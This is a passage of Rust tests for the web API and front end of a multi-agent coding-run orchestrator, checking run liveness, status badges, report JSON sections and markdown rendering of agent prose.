16802 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
16803 }
16804 assert_eq!(runs_unreadable(&runs), 0);
16805 assert_eq!(std::fs::read(&path).unwrap(), body);
16806 }
16807 }
16808
16809 #[tokio::test]
16812 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
16813 let f = Fixture::start().await;
16814 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
16815 let mut state = RunState::new(
16816 PathBuf::from("/repo/magi"),
16817 "main".to_owned(),
16818 "0123456789abcdef".to_owned(),
16819 "Add a web UI".to_owned(),
16820 Config::default(),
16821 );
16822 state.id = id.to_owned();
16823 state.origin = origin;
16824 let mut value = serde_json::to_value(&state).expect("serialize run");
16825 if let Some(schema) = schema {
16826 value["schema"] = serde_json::json!(schema);
16827 value.as_object_mut().unwrap().remove("origin");
16828 }
16829 let dir = f.runs().join(id);
16830 std::fs::create_dir_all(&dir).expect("run dir");
16831 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
16832 };
16833 write(
16834 "20260930-092817-ec34",
16835 Some(crate::run::Origin::from_agent_env(
16836 Some(("4a7b".to_owned(), "chat".to_owned())),
16837 None,
16838 )),
16839 None,
16840 );
16841 write("20260930-092817-0ld1", None, Some(12));
16842
16843 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
16844 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
16845 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
16846
16847 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
16848 assert_eq!(
16849 old["origin_label"], "origin unknown (started before origins were recorded)",
16850 "{old}"
16851 );
16852 assert!(old["origin"].is_null(), "{old}");
16853
16854 let list = f.get("/api/runs").await.json();
16855 let labels: Vec<_> = list
16856 .as_array()
16857 .unwrap()
16858 .iter()
16859 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
16860 .collect();
16861 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
16862 }
16863
16864 #[tokio::test]
16871 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
16872 let f = Fixture::start().await;
16873 let id = "20260922-090000-cccc";
16874 let mut state = RunState::new(
16875 PathBuf::from("/repo/magi"),
16876 "main".to_owned(),
16877 "0123456789abcdef".to_owned(),
16878 "Review only".to_owned(),
16879 Config::default(),
16880 );
16881 state.id = id.to_owned();
16882 state.status = RunStatus::Reviewing;
16883 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16884 state.driver_pid = Some(std::process::id());
16890 state.driver_started_at = Some(
16891 crate::proc::process_started_at(std::process::id())
16892 .expect("this test process's own start time must be queryable"),
16893 );
16894 let dir = f.runs().join(id);
16895 std::fs::create_dir_all(&dir).expect("run dir");
16896 std::fs::write(
16897 dir.join("run.json"),
16898 serde_json::to_string_pretty(&state).expect("serialize run"),
16899 )
16900 .expect("write run.json");
16901
16902 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16903 assert_eq!(detail["live"], "live", "{detail}");
16904 }
16905
16906 #[tokio::test]
16912 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
16913 let f = Fixture::start().await;
16914 let id = "20260922-090100-dddd";
16915 let mut state = RunState::new(
16916 PathBuf::from("/repo/magi"),
16917 "main".to_owned(),
16918 "0123456789abcdef".to_owned(),
16919 "Review only".to_owned(),
16920 Config::default(),
16921 );
16922 state.id = id.to_owned();
16923 state.status = RunStatus::Reviewing;
16924 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16925 state.driver_pid = Some(std::process::id());
16930 state.driver_started_at = Some("1".to_owned());
16931 let dir = f.runs().join(id);
16932 std::fs::create_dir_all(&dir).expect("run dir");
16933 std::fs::write(
16934 dir.join("run.json"),
16935 serde_json::to_string_pretty(&state).expect("serialize run"),
16936 )
16937 .expect("write run.json");
16938
16939 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16940 assert_eq!(detail["live"], "dead", "{detail}");
16941 }
16942
16943 #[test]
16947 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
16948 let mk = |id: &str, pid: Option<u32>| {
16949 let mut s = RunState::new(
16950 PathBuf::from("/repo/magi"),
16951 "main".to_owned(),
16952 "0123456789abcdef".to_owned(),
16953 "Add a web UI".to_owned(),
16954 Config::default(),
16955 );
16956 s.id = id.to_owned();
16957 s.driver_pid = pid;
16958 s.driver_started_at = Some("1790000000".to_owned());
16959 s
16960 };
16961 let states = vec![
16962 mk("20260902-140502-aaaa", Some(77)),
16963 mk("20260902-140502-bbbb", Some(77)),
16964 mk("20260902-140502-cccc", Some(77)),
16965 mk("20260902-140502-dddd", None),
16966 ];
16967 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
16968 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
16969 let sup: HashMap<String, String> = [(
16970 "20260902-140502-aaaa".to_owned(),
16971 "20260902-140502-cccc".to_owned(),
16972 )]
16973 .into();
16974
16975 let status_calls = std::cell::Cell::new(0);
16976 let identity_calls = std::cell::Cell::new(0);
16977 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
16978 |_| {
16979 status_calls.set(status_calls.get() + 1);
16980 Some(true)
16981 },
16982 |_| {
16983 identity_calls.set(identity_calls.get() + 1);
16984 Some("1790000000".to_owned())
16985 },
16986 ));
16987 let rows = summarize(
16988 states,
16989 &open,
16990 &claimed,
16991 &sup,
16992 |p| probe.borrow_mut().status(p),
16993 |p| probe.borrow_mut().started_at(p),
16994 );
16995
16996 assert_eq!(status_calls.get(), 1, "one pid, one status query");
16997 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
16998 assert_eq!(rows.len(), 4);
16999 assert!(!rows[0].waiting && rows[1].waiting);
17000 assert_eq!(rows[0].live, crate::run::Liveness::Live);
17001 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17002 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17003 assert_eq!(rows[1].superseded_by, None);
17004 }
17005
17006 #[test]
17007 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17008 let mut state = RunState::new(
17009 PathBuf::from("/repo/magi"),
17010 "main".to_owned(),
17011 "0123456789abcdef".to_owned(),
17012 "Review only".to_owned(),
17013 Config::default(),
17014 );
17015 state.id = "20260922-090200-dead".to_owned();
17016 state.status = RunStatus::Reviewing;
17017 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17018 .expect("serialize list row");
17019 assert_eq!(row["status"], "reviewing");
17020 assert_eq!(row["display_status"], "stale");
17021 assert_eq!(row["live"], "dead", "{row}");
17022 assert!(!row["done"].as_bool().unwrap());
17023 }
17024
17025 #[test]
17026 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17027 use crate::run::Liveness::{Dead, Live, Unknown};
17028 let mut state = RunState::new(
17029 PathBuf::from("/repo/magi"),
17030 "main".to_owned(),
17031 "abc".to_owned(),
17032 "Review only".to_owned(),
17033 Config::default(),
17034 );
17035 for (status, parked, node, waiting, live, expected) in [
17036 (
17037 RunStatus::Judging,
17038 true,
17039 "github-text",
17040 false,
17041 Dead,
17042 "parked",
17043 ),
17044 (RunStatus::Judging, false, "park", false, Dead, "stale"),
17045 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17046 (
17047 RunStatus::Judging,
17048 true,
17049 "github-text",
17050 true,
17051 Dead,
17052 "waiting",
17053 ),
17054 (
17055 RunStatus::Judging,
17056 false,
17057 "github-text",
17058 true,
17059 Dead,
17060 "waiting",
17061 ),
17062 (
17063 RunStatus::Judging,
17064 false,
17065 "github-text",
17066 false,
17067 Dead,
17068 "stale",
17069 ),
17070 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17071 (RunStatus::Judging, true, "park", false, Live, "judging"),
17072 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17073 (RunStatus::Merged, true, "park", false, Dead, "merged"),
17074 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17075 (
17076 RunStatus::Blocked,
17077 true,
17078 "github-text",
17079 true,
17080 Dead,
17081 "waiting",
17082 ),
17083 ] {
17084 state.status = status;
17085 state.parked = parked;
17086 state.events.clear();
17087 state.event(
17088 "park",
17089 "an earlier park does not determine the latest state",
17090 );
17091 state.event(node, "message is not used for classification");
17092 let summary = RunSummary::of(&state, waiting, live);
17093 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17094 assert_eq!(
17095 summary.display_status, expected,
17096 "{status:?}/{node}/{live:?}"
17097 );
17098 assert_eq!(detail.display_status, summary.display_status);
17099 assert_eq!(detail.waiting, summary.waiting);
17100 }
17101 state.status = RunStatus::Judging;
17102 state.parked = false;
17103 state.events.clear();
17104 assert_eq!(run_display_status(&state, false, Dead), "stale");
17105 }
17106
17107 #[test]
17108 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17109 use crate::run::Liveness::{Dead, Live, Unknown};
17110 let mut state = RunState::new(
17111 PathBuf::from("/repo/magi"),
17112 "main".to_owned(),
17113 "abc".to_owned(),
17114 "Badge".to_owned(),
17115 Config::default(),
17116 );
17117 for (status, waiting, live, superseded, expected) in [
17118 (RunStatus::Gating, false, Dead, false, "stale"),
17119 (RunStatus::Gating, false, Dead, true, "superseded"),
17120 (RunStatus::Gating, false, Unknown, true, "superseded"),
17121 (RunStatus::Gating, true, Dead, true, "superseded"),
17122 (RunStatus::Gating, true, Dead, false, "waiting"),
17123 (RunStatus::Gating, false, Unknown, false, "gating"),
17124 (RunStatus::Gating, false, Live, true, "gating"),
17125 (RunStatus::Gating, true, Live, true, "waiting"),
17126 (RunStatus::Merged, false, Dead, true, "merged"),
17127 (RunStatus::Blocked, false, Dead, true, "blocked"),
17128 ] {
17129 state.status = status;
17130 let display = run_display_status(&state, waiting, live);
17131 assert_eq!(
17132 run_badge_status(&state, &display, live, superseded),
17133 expected,
17134 "{status:?}/{live:?}/superseded={superseded}"
17135 );
17136 }
17137 }
17138
17139 #[test]
17140 fn summarize_and_detail_expose_badge_status() {
17141 use crate::run::Liveness::Dead;
17142 let mut state = RunState::new(
17143 PathBuf::from("/repo/magi"),
17144 "main".to_owned(),
17145 "abc".to_owned(),
17146 "Badge".to_owned(),
17147 Config::default(),
17148 );
17149 state.status = RunStatus::Gating;
17150 let none = HashSet::new();
17151 let id = state.id.clone();
17152 let mut by = HashMap::new();
17153 let rows = summarize(
17154 [state.clone()],
17155 &none,
17156 &none,
17157 &by,
17158 |_| Some(false),
17159 |_| None,
17160 );
17161 assert_eq!(rows[0].badge_status, rows[0].display_status);
17163 by.insert(id, "20260901-000000-913b".to_owned());
17164 let detail = RunDetailView::of(
17165 state.clone(),
17166 false,
17167 Dead,
17168 Some("913b".to_owned()),
17169 None,
17170 None,
17171 );
17172 assert_eq!(detail.badge_status, "superseded");
17173 let json = serde_json::to_value(&detail).unwrap();
17174 assert_eq!(json["badge_status"], "superseded");
17175 let detail = RunDetailView::of(state, false, Dead, None, None, None);
17176 assert_eq!(detail.badge_status, "stale");
17177 }
17178
17179 #[tokio::test]
17180 async fn run_display_status_routes_share_the_open_question_store() {
17181 let f = Fixture::start().await;
17182 let id = "20260922-090200-abcd";
17183 write_run(&f.runs(), id, RunStatus::Judging);
17184 let mut state = read_run(&f.runs(), id).unwrap();
17185 state.parked = true;
17186 state.driver_exited = true;
17187 state.event("github-text", "waiting for the owner");
17188 state.save_under(f.home.path()).unwrap();
17189 let mut task = Task::new(
17190 "resumed task".to_owned(),
17191 "do it".to_owned(),
17192 PathBuf::from("/repo"),
17193 Source::Human,
17194 );
17195 task.runs = vec![id.to_owned(), id.to_owned()];
17196 f.queue().put(&mut task).unwrap();
17197 let store = f.questions();
17198 let mut q = Question::new(
17199 id.to_owned(),
17200 "github-text".to_owned(),
17201 "owner".to_owned(),
17202 "Approve the text?".to_owned(),
17203 String::new(),
17204 Vec::new(),
17205 );
17206 store.put(&mut q).unwrap();
17207 for expected in ["waiting", "parked"] {
17208 let list = f.get("/api/runs").await.json();
17209 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17210 assert_eq!(list[0]["display_status"], expected);
17211 assert_eq!(detail["display_status"], expected);
17212 assert_eq!(detail["waiting"], list[0]["waiting"]);
17213 assert_eq!(list[0]["badge_status"], expected);
17214 assert_eq!(detail["badge_status"], expected);
17215 assert!(list[0]["superseded_by"].is_null());
17216 assert!(detail["superseded_by"].is_null());
17217 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17218 let history = task_detail["history"].as_array().unwrap();
17219 assert_eq!(history.len(), 2);
17220 assert!(history[0]["badge"].is_null());
17221 assert_eq!(history[1]["badge"], expected);
17222 q.status = ask::QuestionStatus::Answered;
17223 store.put(&mut q).unwrap();
17224 }
17225 }
17226
17227 #[tokio::test]
17228 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17229 let f = Fixture::start().await;
17230 let id = "20260922-090200-abcd";
17231 write_run(&f.runs(), id, RunStatus::Judging);
17232 let mut state = read_run(&f.runs(), id).unwrap();
17233 state.parked = true;
17234 state.driver_exited = true;
17235 state.event("park", "stopped at a node boundary");
17236 state.save_under(f.home.path()).unwrap();
17237
17238 for expected in ["parked", "stale"] {
17239 let list = f.get("/api/runs").await.json();
17240 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17241 assert_eq!(list[0]["live"], "dead");
17242 assert_eq!(list[0]["display_status"], expected);
17243 assert_eq!(detail["display_status"], expected);
17244 state.parked = false;
17247 state.save_under(f.home.path()).unwrap();
17248 }
17249 }
17250
17251 #[tokio::test]
17252 async fn the_run_list_is_newest_first_and_honours_a_limit() {
17253 let f = Fixture::start().await;
17254 for id in [
17255 "20260902-140501-aaaa",
17256 "20260902-140502-bbbb",
17257 "20260902-140503-cccc",
17258 ] {
17259 write_run(&f.runs(), id, RunStatus::Merged);
17260 }
17261
17262 let all = f.get("/api/runs").await.json();
17263 let capped = f.get("/api/runs?limit=2").await.json();
17264
17265 assert_eq!(all[0]["id"], "20260902-140503-cccc");
17266 assert_eq!(all.as_array().map(Vec::len), Some(3));
17267 assert_eq!(capped.as_array().map(Vec::len), Some(2));
17268 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
17269 }
17270
17271 #[tokio::test]
17272 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
17273 let f = Fixture::start().await;
17274 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
17275
17276 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
17277
17278 assert_eq!(res.status, 200);
17279 assert!(
17280 res.headers
17281 .contains("content-type: text/plain; charset=utf-8"),
17282 "a browser must render it, not download it: {}",
17283 res.headers
17284 );
17285 assert!(
17289 res.body.contains("20260902-140501-a1b2"),
17290 "the report is about the run that was asked for: {}",
17291 res.body
17292 );
17293 }
17294
17295 #[tokio::test]
17296 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
17297 crate::run::pin_test_home();
17299 let f = Fixture::start().await;
17300 let id = "20260902-140501-a1b2";
17301 write_run(&f.runs(), id, RunStatus::Stalled);
17302 let path = f.runs().join(id).join("run.json");
17305 let mut v: serde_json::Value =
17306 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17307 v["tally"] = serde_json::json!({
17308 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17309 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
17310 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
17311 "met_quorum": false, "rankings": 1
17312 });
17313 v["reviews"] = serde_json::json!([{
17314 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
17315 "e2e_deferred": true,
17316 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
17317 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
17318 ]}]
17319 }]);
17320 std::fs::write(&path, v.to_string()).unwrap();
17321 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
17322 std::fs::write(
17323 f.runs().join("20260902-140502-dead").join("run.json"),
17324 "{not json",
17325 )
17326 .unwrap();
17327
17328 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17329
17330 assert_eq!(res.status, 200, "{}", res.body);
17331 assert!(res.headers.contains("content-type: application/json"));
17332 let j = res.json();
17333 assert_eq!(j["schema"], 1);
17334 assert_eq!(j["header"]["id"], id);
17335 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
17336 let kinds: Vec<&str> = j["sections"]
17337 .as_array()
17338 .unwrap()
17339 .iter()
17340 .map(|s| s["kind"].as_str().unwrap())
17341 .collect();
17342 assert_eq!(kinds, ["candidates", "tally", "review"]);
17343 let tally = &j["sections"][1]["tally"];
17344 assert_eq!(
17345 (tally["decided"].clone(), tally["provisional"].clone()),
17346 (false.into(), true.into())
17347 );
17348 let round = &j["sections"][2]["rounds"][0];
17349 assert_eq!(round["e2e"]["state"], "deferred");
17350 assert_eq!(round["findings"][0]["severity"], "major");
17351 assert_eq!(round["findings"][0]["blocking"], true);
17352 assert_eq!(round["findings"][0]["state"], "open");
17353
17354 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
17356
17357 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
17359 assert_ne!(bad.status, 200, "{}", bad.body);
17360 assert_eq!(
17361 bad.status,
17362 f.get("/api/runs/20260902-140502-dead/report").await.status
17363 );
17364 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
17365 assert_eq!(
17366 f.get("/api/runs/20260902-999999-ffff/report.json")
17367 .await
17368 .status,
17369 404
17370 );
17371 }
17372
17373 #[tokio::test]
17374 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
17375 crate::run::pin_test_home();
17376 let f = Fixture::start().await;
17377 let id = "20260902-140503-delib";
17378 write_run(&f.runs(), id, RunStatus::Merged);
17379 let path = f.runs().join(id).join("run.json");
17380 let mut v: serde_json::Value =
17381 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17382 v["judgements"] = serde_json::json!([
17383 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17384 ]);
17385 v["tally"] = serde_json::json!({
17386 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17387 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
17388 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
17389 "met_quorum": true, "rankings": 1
17390 });
17391 v["deliberation"] = serde_json::json!([
17392 {
17393 "round": 1,
17394 "turns": [
17395 {
17396 "judge": 1,
17397 "agent": "judge-1",
17398 "body": "I prefer candidate **A** because it has cleaner tests.",
17399 "tentative": "A"
17400 }
17401 ]
17402 },
17403 {
17404 "round": 2,
17405 "turns": [
17406 {
17407 "judge": 1,
17408 "agent": "judge-1",
17409 "body": "Still thinking, no choice yet.",
17410 "tentative": null
17411 }
17412 ]
17413 }
17414 ]);
17415 std::fs::write(&path, v.to_string()).unwrap();
17416
17417 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17418 assert_eq!(res.status, 200, "{}", res.body);
17419 let j = res.json();
17420 let judging = j["sections"]
17421 .as_array()
17422 .unwrap()
17423 .iter()
17424 .find(|s| s["kind"] == "judging")
17425 .expect("judging section exists");
17426
17427 let delib_lines = judging["deliberation"].as_array().unwrap();
17429 assert_eq!(delib_lines.len(), 2);
17430 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
17431 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
17432
17433 let rounds = judging["rounds"].as_array().unwrap();
17435 assert_eq!(rounds.len(), 2);
17436 let r1_t0 = &rounds[0]["turns"][0];
17437 assert_eq!(r1_t0["judge"], 1);
17438 assert_eq!(r1_t0["agent"], "judge-1");
17439 assert_eq!(r1_t0["tentative"], "A");
17440 assert_eq!(
17441 r1_t0["body"],
17442 "I prefer candidate **A** because it has cleaner tests."
17443 );
17444 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
17445
17446 let r2_t0 = &rounds[1]["turns"][0];
17447 assert_eq!(r2_t0["judge"], 1);
17448 assert_eq!(r2_t0["agent"], "judge-1");
17449 assert!(r2_t0["tentative"].is_null());
17450 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
17451 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
17452
17453 let id_empty = "20260902-140504-nodelib";
17455 write_run(&f.runs(), id_empty, RunStatus::Merged);
17456 let path_empty = f.runs().join(id_empty).join("run.json");
17457 let mut v_empty: serde_json::Value =
17458 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
17459 v_empty["judgements"] = serde_json::json!([
17460 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17461 ]);
17462 v_empty["deliberation"] = serde_json::json!([]);
17463 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
17464
17465 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
17466 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
17467 let j_empty = res_empty.json();
17468 let judging_empty = j_empty["sections"]
17469 .as_array()
17470 .unwrap()
17471 .iter()
17472 .find(|s| s["kind"] == "judging")
17473 .expect("judging section exists");
17474 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
17475 }
17476
17477 #[tokio::test]
17478 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
17479 let f = Fixture::start().await;
17480
17481 let html = f.get("/").await;
17482 let css = f.get("/app.css").await;
17483 let js = f.get("/app.js").await;
17484
17485 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
17486 assert!(
17487 html.headers
17488 .contains("content-type: text/html; charset=utf-8")
17489 );
17490 assert!(css.headers.contains("content-type: text/css"));
17491 assert!(js.headers.contains("content-type: text/javascript"));
17492 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
17493 }
17494
17495 #[test]
17496 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
17497 let body = |name: &str| {
17498 let at = APP_JS
17499 .find(name)
17500 .unwrap_or_else(|| panic!("{name} missing"));
17501 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17502 };
17503 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
17504 let note = body("function landRoundNote");
17505 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
17506 assert!(note.contains("Land round ${round}"));
17507 let land = body("function renderLand");
17508 let note_at = land
17509 .find("landRoundNote(pr)")
17510 .expect("renderLand uses the note");
17511 assert!(
17512 note_at
17513 < land
17514 .find("roundRail(pr)")
17515 .expect("renderLand uses the rail")
17516 );
17517 }
17518
17519 #[test]
17520 fn the_runs_page_redesign_keeps_its_guards() {
17521 let body = |name: &str| {
17522 let at = APP_JS
17523 .find(name)
17524 .unwrap_or_else(|| panic!("{name} missing"));
17525 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
17526 };
17527 let land = body("function renderLand");
17529 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
17530 assert!(
17531 !land.contains("box.append("),
17532 "renderLand must use append()"
17533 );
17534 assert!(land.contains("append(box, ["));
17535 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
17537 assert!(
17538 body("function applyRoute")
17539 .contains("route.name !== state.route.name || route.id !== state.route.id")
17540 );
17541 assert!(!APP_JS.contains("adviseConvergeDiagram"));
17543 assert!(!INDEX_HTML.contains("advise-converge"));
17544 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
17545 assert!(APP_JS.contains("provisional"));
17546 for id in [
17547 "run-tab-overview",
17548 "run-tab-timeline",
17549 "run-tab-report",
17550 "run-report",
17551 "runs-scope",
17552 ] {
17553 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
17554 }
17555 assert!(!INDEX_HTML.contains("runs-tree"));
17556 assert!(!INDEX_HTML.contains("run-raw-panel"));
17557 assert!(APP_JS.contains("resume"));
17559 assert!(APP_JS.contains("unreadable"));
17561 }
17562
17563 #[test]
17564 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
17565 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
17566 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
17567 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
17568 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
17569 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
17570 assert!(APP_JS.contains("unreadable` : null"));
17572 }
17573
17574 #[test]
17575 fn blocked_run_detail_exposes_the_failed_gate_reason() {
17576 let mut state = RunState::new(
17577 "/repo".into(),
17578 "main".into(),
17579 "abc".into(),
17580 "task".into(),
17581 crate::config::Config::default(),
17582 );
17583 state.status = RunStatus::Blocked;
17584 state.gate_ran = true;
17585 state.gate.push(crate::run::CommandOutcome {
17586 command: "cargo make check".into(),
17587 code: Some(1),
17588 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
17589 duration_ms: 0,
17590 resource_blocked: false,
17591 });
17592 let view = RunDetailView::of(
17593 state,
17594 false,
17595 crate::run::Liveness::Unknown,
17596 None,
17597 None,
17598 None,
17599 );
17600 let value = serde_json::to_value(view).unwrap();
17601 assert_eq!(
17602 value["stop_reason"],
17603 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
17604 );
17605 }
17606
17607 #[test]
17608 fn the_run_detail_payload_says_whether_the_run_is_done() {
17609 for (status, done) in [
17611 (RunStatus::Superseded, true),
17612 (RunStatus::Blocked, true),
17613 (RunStatus::Landing, false),
17614 ] {
17615 let mut state = RunState::new(
17616 std::path::PathBuf::from("/repo"),
17617 "main".to_owned(),
17618 "abc".to_owned(),
17619 "x".to_owned(),
17620 crate::config::Config::default(),
17621 );
17622 state.status = status;
17623 let v = serde_json::to_value(RunDetailView::of(
17624 state,
17625 false,
17626 crate::run::Liveness::Unknown,
17627 None,
17628 None,
17629 None,
17630 ))
17631 .unwrap();
17632 assert_eq!(v["done"], done, "{status:?}");
17633 }
17634 }
17635
17636 fn has_strong(nodes: &[md::Node]) -> bool {
17638 serde_json::to_string(nodes).unwrap().contains("strong")
17639 }
17640
17641 #[test]
17642 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
17643 let mut state = RunState::new(
17644 std::path::PathBuf::from("/repo"),
17645 "main".to_owned(),
17646 "abc".to_owned(),
17647 "x".to_owned(),
17648 crate::config::Config::default(),
17649 );
17650 let proposal = |approach: &str| {
17651 serde_json::json!({
17652 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
17653 })
17654 };
17655 state.advice = Some(
17656 serde_json::from_value(serde_json::json!({
17657 "records": [
17658 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
17659 "proposal": proposal("do **this**")},
17660 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
17661 ],
17662 "synthesis": "- one\n- **two**\n\n`code`",
17663 }))
17664 .unwrap(),
17665 );
17666 state.candidates = serde_json::from_value(serde_json::json!([
17667 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
17668 "summary": "did **it**"},
17669 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
17670 ]))
17671 .unwrap();
17672 state.reviews = serde_json::from_value(serde_json::json!([{
17675 "round": 1, "head": "h",
17676 "reviews": [{
17677 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
17678 "findings": [
17679 {"severity": "nit", "title": "t1", "detail": "plain nit"},
17680 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
17681 ],
17682 }],
17683 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
17684 "fix": {"agent": "a", "notes": "fixed **it**",
17685 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
17686 }, {"round": 2, "head": "h2", "reviews": []}]))
17687 .unwrap();
17688
17689 let v = serde_json::to_value(RunDetailView::of(
17690 state,
17691 false,
17692 crate::run::Liveness::Unknown,
17693 None,
17694 None,
17695 None,
17696 ))
17697 .unwrap();
17698
17699 let strong = |p: &str| {
17700 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
17701 assert!(n.to_string().contains("strong"), "{p}: {n}");
17702 };
17703 strong("/advice_md/synthesis");
17704 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
17705 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
17706 strong("/advice_md/approaches/0");
17707 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
17708 strong("/candidate_summaries_md/0");
17709 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
17710 strong("/reviews_md/0/reviewers/0/summary");
17711 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
17712 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
17713 assert!(f[1].to_string().contains("strong"));
17714 strong("/reviews_md/0/reconsideration/0");
17715 strong("/reviews_md/0/fix/notes");
17716 strong("/reviews_md/0/fix/rejected/0");
17717 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
17718 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
17719 assert_eq!(v["candidates"][0]["summary"], "did **it**");
17721 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
17722 }
17723
17724 #[test]
17725 fn a_run_without_advice_has_no_advice_md() {
17726 let state = RunState::new(
17727 std::path::PathBuf::from("/repo"),
